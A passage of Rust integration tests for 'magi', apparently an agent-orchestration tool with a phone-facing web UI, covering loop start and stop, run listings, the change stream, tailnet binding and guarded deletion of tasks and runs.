6085        assert_eq!(health["loop"]["owned"], true, "{health}");
6086
6087        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6088    }
6089
6090    #[tokio::test]
6091    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
6092        let f = Fixture::start().await;
6093        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6094        assert_eq!(first.status, 200, "{}", first.body);
6095
6096        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6097        assert_eq!(
6098            again.status, 409,
6099            "two loops on one queue race for the same claims: {}",
6100            again.body
6101        );
6102        assert!(
6103            again.json()["error"]
6104                .as_str()
6105                .is_some_and(|e| e.contains("already running the loop")),
6106            "the refusal has to say why: {}",
6107            again.body
6108        );
6109        assert_eq!(
6110            f.get("/api/loop").await.json()["running"],
6111            true,
6112            "and the loop that was already running is untouched by it"
6113        );
6114
6115        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6116    }
6117
6118    #[tokio::test]
6119    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
6120        let f = Fixture::start().await;
6121        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6122
6123        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6124        assert_eq!(
6125            res.status, 200,
6126            "the answer must not wait for the loop: a run in flight is tens of \
6127             minutes and the operator is holding a phone: {}",
6128            res.body
6129        );
6130
6131        let view = settled(&f, |v| v["running"] == false).await;
6132        assert_eq!(view["owned"], false);
6133        assert_eq!(
6134            view["stopping"], false,
6135            "a loop that has stopped is not still stopping: {view}"
6136        );
6137        assert_eq!(
6138            view["last_error"],
6139            Value::Null,
6140            "a loop that was asked to stop did not fail: {view}"
6141        );
6142
6143        // Idempotent, because the operator cannot tell a slow stop from a lost
6144        // one and will press it again.
6145        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6146        assert_eq!(twice.status, 200, "{}", twice.body);
6147    }
6148
6149    #[tokio::test]
6150    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
6151        let f = Fixture::start().await;
6152        // How the operator has been doing it: a `magi serve` of their own,
6153        // heartbeat fresh, in the same home this UI reads.
6154        write_daemon(f.home.path(), Timestamp::now());
6155
6156        let view = f.get("/api/loop").await.json();
6157        assert_eq!(view["running"], false, "not in this process: {view}");
6158        assert_eq!(view["owned"], false, "and not this process's to control");
6159        assert_eq!(
6160            view["daemon"]["running"], true,
6161            "but a loop is alive somewhere, which is what the UI must say"
6162        );
6163        assert_eq!(view["daemon"]["pid"], 4242);
6164
6165        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
6166            let res = f.post("/api/loop", Some(body)).await;
6167            assert_eq!(
6168                res.status, 409,
6169                "neither button may pretend to work on someone else's loop: {}",
6170                res.body
6171            );
6172            assert!(
6173                res.json()["error"]
6174                    .as_str()
6175                    .is_some_and(|e| e.contains("4242")),
6176                "the refusal has to name the process the operator must go to: {}",
6177                res.body
6178            );
6179        }
6180        assert_eq!(
6181            f.get("/api/loop").await.json()["running"],
6182            false,
6183            "and the refusal started nothing"
6184        );
6185    }
6186
6187    #[tokio::test]
6188    async fn a_stale_status_file_is_not_a_foreign_owner() {
6189        let f = Fixture::start().await;
6190        write_daemon(
6191            f.home.path(),
6192            Timestamp::now() - jiff::SignedDuration::from_secs(60),
6193        );
6194
6195        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6196        assert_eq!(
6197            res.status, 200,
6198            "a daemon killed a minute ago must not lock the loop out of its \
6199             own home for good: {}",
6200            res.body
6201        );
6202        assert_eq!(res.json()["running"], true);
6203
6204        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6205    }
6206
6207    #[tokio::test]
6208    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
6209        let f = Fixture::start().await;
6210        let before = f.get("/api/health").await.json()["loop_rev"]
6211            .as_u64()
6212            .expect("a loop revision");
6213
6214        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6215
6216        let after = f.get("/api/health").await.json()["loop_rev"]
6217            .as_u64()
6218            .expect("a loop revision");
6219        assert!(
6220            after > before,
6221            "the loop is in-process state, so this counter is the only thing \
6222             that tells a second device the first one started it: {before} -> \
6223             {after}"
6224        );
6225
6226        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6227    }
6228
6229    #[tokio::test]
6230    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
6231        let f = Fixture::with_loop(launch_broken).await;
6232
6233        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6234        assert_eq!(
6235            res.status, 200,
6236            "starting it is not the failure: {}",
6237            res.body
6238        );
6239
6240        let view = settled(&f, |v| v["last_error"].is_string()).await;
6241        assert_eq!(
6242            view["running"], false,
6243            "a loop that died must not read as running, or the operator has \
6244             nothing to press: {view}"
6245        );
6246        assert_eq!(view["owned"], false);
6247        assert!(
6248            view["last_error"]
6249                .as_str()
6250                .is_some_and(|e| e.contains("read-only file system")),
6251            "the phone is where a loop that died at 3am is visible: {view}"
6252        );
6253
6254        // And it can be started again: the corpse was reaped, not left to
6255        // occupy the slot.
6256        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6257        assert_eq!(again.status, 200, "{}", again.body);
6258        assert_eq!(
6259            again.json()["last_error"],
6260            Value::Null,
6261            "a fresh start does not keep showing why the last one died"
6262        );
6263    }
6264
6265    /// An upgrade parks the run in flight before it restarts, and a park waits
6266    /// for the node - up to `timeout_implement`, an hour by default. The deck
6267    /// has to answer for all of it: the operator has just been told a run is
6268    /// finishing first, and this address is the only place that says how it is
6269    /// going. It did not, once - the listener went with the `select!` arm that
6270    /// began the handover, and the phone got `Cannot reach magi: Failed to
6271    /// fetch` for the rest of the wave.
6272    ///
6273    /// The other half is the older rule: the address must be free *before* the
6274    /// successor is started, or it dies on "address already in use" with its
6275    /// stdio sent to null and the deck never comes back.
6276    #[tokio::test]
6277    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
6278        let home = TempDir::new().expect("temp home");
6279        let runs = home.path().join("runs");
6280        std::fs::create_dir_all(&runs).expect("runs dir");
6281        let ui = Ui::new(
6282            Queue::at(home.path().join("queue")),
6283            Questions::at(home.path().join("questions")),
6284            Chats::at(home.path().join("chats")),
6285            Talks::at(home.path().join("talks")),
6286            runs,
6287            home.path().to_path_buf(),
6288            PathBuf::from("/repo/magi"),
6289        )
6290        .with_worktrees_root(home.path().join("wt"))
6291        .with_launch(launch_knocking_on_the_way_out);
6292        let looping = ui.looping();
6293        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6294            .await
6295            .expect("bind loopback");
6296        let addr = listener.local_addr().expect("local addr");
6297        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
6298        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
6299
6300        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
6301        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
6302
6303        // The successor's whole job, and the one thing it cannot do while this
6304        // process still holds the socket.
6305        let bound = std::sync::Mutex::new(None);
6306        hand_over(home.path(), &looping, served, || {
6307            let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
6308            *bound.lock().expect("bound") = Some(attempt);
6309            Ok(())
6310        })
6311        .await
6312        .expect("hand over");
6313
6314        assert_eq!(
6315            *PARK_HEARD.lock().expect("park heard"),
6316            Some(200),
6317            "the deck must answer while the loop is parking"
6318        );
6319        let attempt = bound
6320            .lock()
6321            .expect("bound")
6322            .take()
6323            .expect("the successor was started");
6324        assert!(
6325            attempt.is_ok(),
6326            "and the address must be free by the time it is: {attempt:?}"
6327        );
6328    }
6329
6330    #[tokio::test]
6331    async fn a_newer_daemon_status_file_still_renders() {
6332        let f = Fixture::start().await;
6333        // A field this build has never heard of must not turn the status line
6334        // into a 500; that is the whole reason the reader is permissive.
6335        std::fs::write(
6336            f.home.path().join("daemon.json"),
6337            serde_json::json!({
6338                "schema": 2,
6339                "updated_at": Timestamp::now().to_string(),
6340                "idle": true,
6341                "surprise": { "nested": [1, 2, 3] },
6342            })
6343            .to_string(),
6344        )
6345        .expect("write daemon.json");
6346
6347        let health = f.get("/api/health").await;
6348
6349        assert_eq!(health.status, 200);
6350        assert_eq!(health.json()["daemon"]["running"], true);
6351    }
6352
6353    #[tokio::test]
6354    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
6355        let f = Fixture::start().await;
6356        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
6357        let broken = f.runs().join("20260902-140502-bad");
6358        std::fs::create_dir_all(&broken).expect("run dir");
6359        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
6360
6361        let list = f.get("/api/runs").await;
6362        let detail = f.get("/api/runs/20260902-140502-bad").await;
6363
6364        assert_eq!(list.status, 200);
6365        let listed = list.json();
6366        let ids: Vec<&str> = listed
6367            .as_array()
6368            .expect("an array")
6369            .iter()
6370            .map(|r| r["id"].as_str().expect("an id"))
6371            .collect();
6372        assert_eq!(
6373            ids,
6374            vec!["20260902-140501-good"],
6375            "one unreadable run must not cost the operator the whole history"
6376        );
6377        assert_eq!(detail.status, 500);
6378        assert!(
6379            detail.json()["error"]
6380                .as_str()
6381                .is_some_and(|e| e.contains("run.json")),
6382            "the failure names the file to look at: {}",
6383            detail.body
6384        );
6385        // A skipped run has to be countable somewhere, or the UI shows an
6386        // empty history with nothing to explain it - which is exactly what a
6387        // directory full of older-schema runs looks like.
6388        let health = f.get("/api/health").await;
6389        assert_eq!(health.json()["runs_unreadable"], 1);
6390    }
6391
6392    #[tokio::test]
6393    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
6394        let f = Fixture::start().await;
6395        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
6396
6397        let summary = f.get("/api/runs").await.json();
6398        let row = &summary[0];
6399        assert_eq!(row["short"], "a1b2");
6400        assert_eq!(row["status"], "ready");
6401        assert_eq!(row["done"], true);
6402        assert_eq!(row["title"], "Add a web UI");
6403        assert_eq!(row["repo_name"], "magi");
6404        assert_eq!(row["judges"], 3);
6405        assert_eq!(row["winner"], Value::Null);
6406        assert_eq!(row["reviews"], 0);
6407
6408        // The short id resolves, and the detail route is the state itself, not
6409        // a projection of it: the UI reads fields the summary does not carry.
6410        let detail = f.get("/api/runs/a1b2").await;
6411        assert_eq!(detail.status, 200);
6412        assert_eq!(detail.json()["base_branch"], "main");
6413        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
6414    }
6415
6416    /// `RunState::active` is only ever cleared by whoever populated it, so the
6417    /// detail route also has to say whether a daemon is actually still
6418    /// driving this run right now — otherwise a seat from a killed process's
6419    /// last wave would read as live forever.
6420    #[tokio::test]
6421    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
6422        let f = Fixture::start().await;
6423        // Matches `write_daemon`'s hard-coded `current.run`, so the second
6424        // half of this test can claim the daemon is working on it without a
6425        // second helper.
6426        let id = "20260902-140502-bbbb";
6427        let mut state = RunState::new(
6428            PathBuf::from("/repo/magi"),
6429            "main".to_owned(),
6430            "0123456789abcdef".to_owned(),
6431            "Add a web UI".to_owned(),
6432            Config::default(),
6433        );
6434        state.id = id.to_owned();
6435        state.status = RunStatus::Judging;
6436        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
6437        let dir = f.runs().join(id);
6438        std::fs::create_dir_all(&dir).expect("run dir");
6439        std::fs::write(
6440            dir.join("run.json"),
6441            serde_json::to_string_pretty(&state).expect("serialize run"),
6442        )
6443        .expect("write run.json");
6444
6445        // No daemon.json at all: the entry cannot be told from a leftover, so
6446        // the route must say so rather than let the phone assume it is live.
6447        let cold = f.get(&format!("/api/runs/{id}")).await.json();
6448        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
6449        assert_eq!(cold["live"], false, "{cold}");
6450
6451        // A fresh heartbeat naming exactly this run: the same entry now reads
6452        // as confirmed, not merely recorded.
6453        write_daemon(f.home.path(), Timestamp::now());
6454        let warm = f.get(&format!("/api/runs/{id}")).await.json();
6455        assert_eq!(warm["live"], true, "{warm}");
6456    }
6457
6458    #[tokio::test]
6459    async fn the_run_list_is_newest_first_and_honours_a_limit() {
6460        let f = Fixture::start().await;
6461        for id in [
6462            "20260902-140501-aaaa",
6463            "20260902-140502-bbbb",
6464            "20260902-140503-cccc",
6465        ] {
6466            write_run(&f.runs(), id, RunStatus::Merged);
6467        }
6468
6469        let all = f.get("/api/runs").await.json();
6470        let capped = f.get("/api/runs?limit=2").await.json();
6471
6472        assert_eq!(all[0]["id"], "20260902-140503-cccc");
6473        assert_eq!(all.as_array().map(Vec::len), Some(3));
6474        assert_eq!(capped.as_array().map(Vec::len), Some(2));
6475        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
6476    }
6477
6478    #[tokio::test]
6479    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
6480        let f = Fixture::start().await;
6481        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
6482
6483        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
6484
6485        assert_eq!(res.status, 200);
6486        assert!(
6487            res.headers
6488                .contains("content-type: text/plain; charset=utf-8"),
6489            "a browser must render it, not download it: {}",
6490            res.headers
6491        );
6492        // The assertion is on content, not on the absence of escapes: colour
6493        // is a process-global that `serve` turns off at startup, and another
6494        // test in this binary may own it while this one runs.
6495        assert!(
6496            res.body.contains("20260902-140501-a1b2"),
6497            "the report is about the run that was asked for: {}",
6498            res.body
6499        );
6500    }
6501
6502    #[tokio::test]
6503    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
6504        let f = Fixture::start().await;
6505
6506        let html = f.get("/").await;
6507        let css = f.get("/app.css").await;
6508        let js = f.get("/app.js").await;
6509
6510        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
6511        assert!(
6512            html.headers
6513                .contains("content-type: text/html; charset=utf-8")
6514        );
6515        assert!(css.headers.contains("content-type: text/css"));
6516        assert!(js.headers.contains("content-type: text/javascript"));
6517        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
6518    }
6519
6520    #[tokio::test]
6521    async fn the_change_stream_announces_the_current_revisions_on_connect() {
6522        let f = Fixture::start().await;
6523
6524        let mut socket = tokio::net::TcpStream::connect(f.addr)
6525            .await
6526            .expect("connect");
6527        socket
6528            .write_all(
6529                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
6530            )
6531            .await
6532            .expect("write request");
6533
6534        // Read until the first event arrives rather than to end of stream: the
6535        // stream is endless by design, which is the point of the route.
6536        let mut seen = String::new();
6537        let mut buf = [0u8; 1024];
6538        while !seen.contains("event: change") {
6539            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
6540                .await
6541                .expect("the stream must speak within five seconds")
6542                .expect("read");
6543            assert!(read > 0, "the server closed the change stream: {seen}");
6544            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
6545        }
6546
6547        assert!(
6548            seen.to_lowercase()
6549                .contains("content-type: text/event-stream"),
6550            "the browser only reconnects automatically for a real SSE stream: {seen}"
6551        );
6552        let data = seen
6553            .lines()
6554            .find_map(|l| l.strip_prefix("data:"))
6555            .expect("a data line");
6556        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
6557        assert!(
6558            payload["queue_rev"].is_u64()
6559                && payload["runs_rev"].is_u64()
6560                && payload["questions_rev"].is_u64()
6561                && payload["chats_rev"].is_u64()
6562                && payload["talks_rev"].is_u64()
6563                && payload["loop_rev"].is_u64(),
6564            "the client needs one revision per store to know what to refetch, \
6565             and `chats_rev` / `talks_rev` are the only notification a slow \
6566             interview or a standing talk get - a phone whose radio slept \
6567             through a turn learns about it here, as does one whose operator \
6568             started the loop from another device: {payload}"
6569        );
6570
6571        // The front end re-polls health on a timer and on wake, and takes the
6572        // revisions from that answer whenever the stream is not up. So health
6573        // has to carry every key the stream carries: a phone on a link that
6574        // will not hold an SSE connection is exactly the phone that must still
6575        // notice a question, and a missing key there is not a 500 but a UI
6576        // that quietly stops updating.
6577        let health = f.get("/api/health").await.json();
6578        for key in [
6579            "queue_rev",
6580            "runs_rev",
6581            "questions_rev",
6582            "chats_rev",
6583            "talks_rev",
6584            "loop_rev",
6585        ] {
6586            assert!(
6587                health[key].is_u64(),
6588                "health is the change stream's fallback and is missing `{key}`: {health}"
6589            );
6590        }
6591    }
6592
6593    #[tokio::test]
6594    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
6595        let f = Fixture::start().await;
6596        let before = f.get("/api/health").await.json()["talks_rev"]
6597            .as_u64()
6598            .expect("talks_rev");
6599
6600        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
6601        std::thread::sleep(Duration::from_millis(10));
6602        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
6603        on_disk.turns.push(crate::talk::Turn {
6604            who: crate::talk::Who::Operator,
6605            body: "a new turn".to_owned(),
6606            at: Timestamp::now(),
6607        });
6608        f.talks().put(&mut on_disk).expect("record a turn");
6609
6610        let after = f.get("/api/health").await.json()["talks_rev"]
6611            .as_u64()
6612            .expect("talks_rev");
6613        assert_ne!(
6614            before, after,
6615            "a phone must be able to notice a talk's reply without polling every store"
6616        );
6617    }
6618
6619    #[test]
6620    fn bind_reads_back_from_the_spelling_the_cli_prints() {
6621        // The CLI shows the default in `--help` and parses whatever comes
6622        // back, so the two directions have to agree or `--bind auto` breaks
6623        // the moment someone copies the help text.
6624        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
6625            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
6626        }
6627        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
6628        assert!("everywhere".parse::<Bind>().is_err());
6629    }
6630
6631    #[test]
6632    fn an_explicit_bind_address_is_taken_verbatim() {
6633        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
6634
6635        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
6636
6637        assert_eq!(addr, asked);
6638        assert!(
6639            warning.is_none(),
6640            "an operator who named an address gets no lecture"
6641        );
6642    }
6643
6644    #[test]
6645    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
6646        let (addr, warning) = resolve_bind(&Bind::Auto);
6647
6648        // This has to hold on a CI runner with no `tailscale` and on a dev box
6649        // with one, so the invariant asserted is the one shared by both
6650        // outcomes: the address is either a real tailnet address offered
6651        // without comment, or loopback with an explanation. What must never
6652        // happen is a silent fallback - an operator told "listening on
6653        // 127.0.0.1" with no reason would go looking for a firewall.
6654        match addr {
6655            IpAddr::V4(ip) if is_tailnet(&ip) => {
6656                assert!(warning.is_none(), "a tailnet address needs no warning");
6657            }
6658            other => {
6659                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
6660                let warning = warning.expect("a fallback has to explain itself");
6661                assert!(
6662                    warning.contains("127.0.0.1") && warning.contains("local-only"),
6663                    "the warning says what happened and what it costs: {warning}"
6664                );
6665            }
6666        }
6667    }
6668
6669    #[test]
6670    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
6671        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
6672        // boundary cases are what stop us binding to some other tool's idea of
6673        // an address.
6674        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
6675        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
6676        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
6677        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
6678        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
6679    }
6680
6681    #[test]
6682    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
6683        let ids = vec![
6684            "20260902-140501-aaaa".to_owned(),
6685            "20260902-140502-aabb".to_owned(),
6686        ];
6687
6688        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
6689        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
6690        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
6691
6692        assert_eq!(missing.status, StatusCode::NOT_FOUND);
6693        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
6694        assert_eq!(short, "20260902-140502-aabb");
6695    }
6696    #[tokio::test]
6697    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
6698        // The prompt tells agents to reference attachments by bare filename.
6699        // A document served at `.../panel` resolves `shot.png` against its own
6700        // directory, i.e. `.../shot.png`, which is not the asset route - so a
6701        // panel written exactly as instructed showed broken images. Caught by
6702        // looking at a real one in a browser, not by reading the code.
6703        let fx = Fixture::start().await;
6704        let id = panel(
6705            &fx,
6706            "<img src=\"shot.png\">",
6707            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
6708        );
6709
6710        // The frame's own URL ends in a filename, so its siblings are reachable.
6711        let doc = fx
6712            .get(&format!("/api/questions/{id}/panel/index.html"))
6713            .await;
6714        assert_eq!(doc.status, 200, "{}", doc.body);
6715        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
6716
6717        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
6718        assert_eq!(sibling.status, 200, "{}", sibling.body);
6719        assert_eq!(sibling.header("content-type"), Some("image/png"));
6720        assert_eq!(
6721            sibling.header("content-security-policy"),
6722            Some(PANEL_CSP),
6723            "the sibling route must carry the same policy as the asset route"
6724        );
6725
6726        // The original spelling keeps working: HEAD on it is how the front end
6727        // decides whether to mount a frame at all.
6728        assert_eq!(
6729            fx.head(&format!("/api/questions/{id}/panel")).await.status,
6730            200
6731        );
6732    }
6733
6734    #[test]
6735    fn runs_revision_moves_when_deleting_an_older_run() {
6736        let temp = TempDir::new().expect("tempdir");
6737        let runs = temp.path().join("runs");
6738        std::fs::create_dir_all(&runs).expect("create runs dir");
6739
6740        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
6741
6742        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
6743        std::thread::sleep(Duration::from_millis(10));
6744        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
6745
6746        let rev_before = runs_revision(&runs);
6747        assert!(rev_before > 0);
6748
6749        let old_dir = runs.join("20260901-100000-old1");
6750        std::fs::remove_dir_all(&old_dir).expect("remove old run");
6751
6752        let rev_after = runs_revision(&runs);
6753        assert_ne!(
6754            rev_before, rev_after,
6755            "deleting an older run must change the revision so other clients see the deletion"
6756        );
6757    }
6758
6759    /// A run's own `run.json` on an explicit `runs` root, bypassing the
6760    /// process-global home entirely — `RunState::save` writes through
6761    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
6762    /// (see `tests::home_lock` in the integration suite for why).
6763    fn write_state(runs: &FsPath, state: &RunState) {
6764        let dir = runs.join(&state.id);
6765        std::fs::create_dir_all(&dir).expect("run dir");
6766        std::fs::write(
6767            dir.join("run.json"),
6768            serde_json::to_string_pretty(state).expect("serialize run"),
6769        )
6770        .expect("write run.json");
6771    }
6772
6773    /// A seat starting or finishing is a write to `run.json` like any other,
6774    /// so it moves the same revision the change stream already watches —
6775    /// nothing new for `/api/events` to learn, but the property this feature
6776    /// depends on to reach the phone without a poll.
6777    #[test]
6778    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
6779        let temp = TempDir::new().expect("tempdir");
6780        let runs = temp.path().join("runs");
6781        std::fs::create_dir_all(&runs).expect("create runs dir");
6782        let mut state = RunState::new(
6783            PathBuf::from("/repo/magi"),
6784            "main".to_owned(),
6785            "0123456789abcdef".to_owned(),
6786            "task".to_owned(),
6787            Config::default(),
6788        );
6789        state.id = "20260902-100000-c0de".to_owned();
6790        write_state(&runs, &state);
6791
6792        let rev_idle = runs_revision(&runs);
6793        std::thread::sleep(Duration::from_millis(10));
6794        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
6795        write_state(&runs, &state);
6796        let rev_started = runs_revision(&runs);
6797        assert_ne!(
6798            rev_idle, rev_started,
6799            "a seat starting must move the revision"
6800        );
6801
6802        std::thread::sleep(Duration::from_millis(10));
6803        state.seat_finished("judge-1");
6804        write_state(&runs, &state);
6805        let rev_finished = runs_revision(&runs);
6806        assert_ne!(
6807            rev_started, rev_finished,
6808            "and clearing it again must move the revision a second time"
6809        );
6810    }
6811
6812    #[tokio::test]
6813    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
6814        let fx = Fixture::start().await;
6815        let q = fx.queue();
6816
6817        // 1. A queued task with runs attached can be deleted.
6818        let mut t1 = Task::new(
6819            "Task 1".to_owned(),
6820            "Instruction 1".to_owned(),
6821            PathBuf::from("/repo"),
6822            Source::Human,
6823        );
6824        let run_id = "20260901-000000-r111";
6825        t1.runs.push(run_id.to_owned());
6826        write_run(&fx.runs(), run_id, RunStatus::Merged);
6827        q.put(&mut t1).expect("put t1");
6828
6829        // Delete by short id
6830        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
6831        assert_eq!(res.status, 204);
6832        assert!(res.body.is_empty(), "204 No Content has no body");
6833        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
6834        assert!(
6835            fx.runs().join(run_id).exists(),
6836            "run directory must not be deleted when its task is deleted"
6837        );
6838
6839        // 2. A task a live daemon is running is refused with 409.
6840        let mut t2 = Task::new(
6841            "Task 2".to_owned(),
6842            "Instruction 2".to_owned(),
6843            PathBuf::from("/repo"),
6844            Source::Human,
6845        );
6846        t2.status = TaskStatus::Running;
6847        q.put(&mut t2).expect("put t2");
6848        let mut beat = crate::daemon::Status::new();
6849        beat.current = vec![crate::daemon::Current {
6850            task: t2.id.clone(),
6851            run: "20260901-000000-r222".to_owned(),
6852        }];
6853        beat.updated_at = jiff::Timestamp::now();
6854        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6855            .expect("publish a heartbeat");
6856        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
6857        assert_eq!(res.status, 409);
6858        assert!(
6859            res.json()["error"]
6860                .as_str()
6861                .unwrap()
6862                .contains("live daemon")
6863        );
6864        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
6865
6866        // 3. The same `running` status and an orphaned lock, with no daemon
6867        // behind either, is a leftover and deletable. Before this the phone
6868        // refused it for good: the status never changes on its own and
6869        // nothing drops a lock whose process is gone.
6870        // The daemon is killed: the file stays, the heartbeat stops.
6871        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
6872        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6873            .expect("leave a stale heartbeat");
6874        let mut t3 = Task::new(
6875            "Task 3".to_owned(),
6876            "Instruction 3".to_owned(),
6877            PathBuf::from("/repo"),
6878            Source::Human,
6879        );
6880        t3.status = TaskStatus::Running;
6881        q.put(&mut t3).expect("put t3");
6882        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
6883        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
6884        assert_eq!(res.status, 204);
6885        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
6886        assert!(
6887            q.claim(&t3.id).is_ok(),
6888            "the stale lock went with it, so the id is claimable again"
6889        );
6890
6891        // 4. Missing id returns 404
6892        let res = fx.delete("/api/queue/nonexistent").await;
6893        assert_eq!(res.status, 404);
6894    }
6895
6896    #[tokio::test]
6897    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
6898        let fx = Fixture::start().await;
6899        let runs = fx.runs();
6900
6901        // 1. Finished and folded run can be deleted along with artifacts
6902        let run_id = "20260901-000000-fold";
6903        let mut state = RunState::new(
6904            PathBuf::from("/repo"),
6905            "main".to_owned(),
6906            "abc".to_owned(),
6907            "instruction".to_owned(),
6908            Config::default(),
6909        );
6910        state.id = run_id.to_owned();
6911        state.status = RunStatus::Merged;
6912        state.candidates.push(crate::run::Candidate {
6913            index: 0,
6914            label: 'A',
6915            agent: "a".to_owned(),
6916            branch: "b".to_owned(),
6917            worktree: PathBuf::from("/w"),
6918            summary: String::new(),
6919            stat: String::new(),
6920            files: 1,
6921            commits: 1,
6922            empty: false,
6923            failed: None,
6924            duration_ms: 0,
6925            folded: true,
6926        });
6927        let dir = runs.join(run_id);
6928        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
6929        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
6930            .expect("write artifact");
6931        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
6932            .expect("write run.json");
6933
6934        // Delete by short id
6935        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
6936        assert_eq!(res.status, 204);
6937        assert!(res.body.is_empty(), "204 has no body");
6938        assert!(!dir.exists(), "run directory and artifacts must be deleted");
6939
6940        // 2. A run a live daemon is working on is refused with 409. The
6941        // heartbeat is what makes it refusable: an unfinished run with no
6942        // daemon behind it is a leftover from a killed process, and case 1
6943        // above would otherwise be impossible to tell apart from this one.
6944        let run_running = "20260901-000000-rung";
6945        write_run(&runs, run_running, RunStatus::Prep);
6946        let mut beat = crate::daemon::Status::new();
6947        beat.current = vec![crate::daemon::Current {
6948            task: "20260901-000000-task".to_owned(),
6949            run: run_running.to_owned(),
6950        }];
6951        beat.updated_at = jiff::Timestamp::now();
6952        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6953            .expect("publish a heartbeat");
6954        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
6955        assert_eq!(res.status, 409);
6956        assert!(
6957            res.json()["error"]
6958                .as_str()
6959                .unwrap()
6960                .contains("live daemon"),
6961            "the refusal must say who is holding it"
6962        );
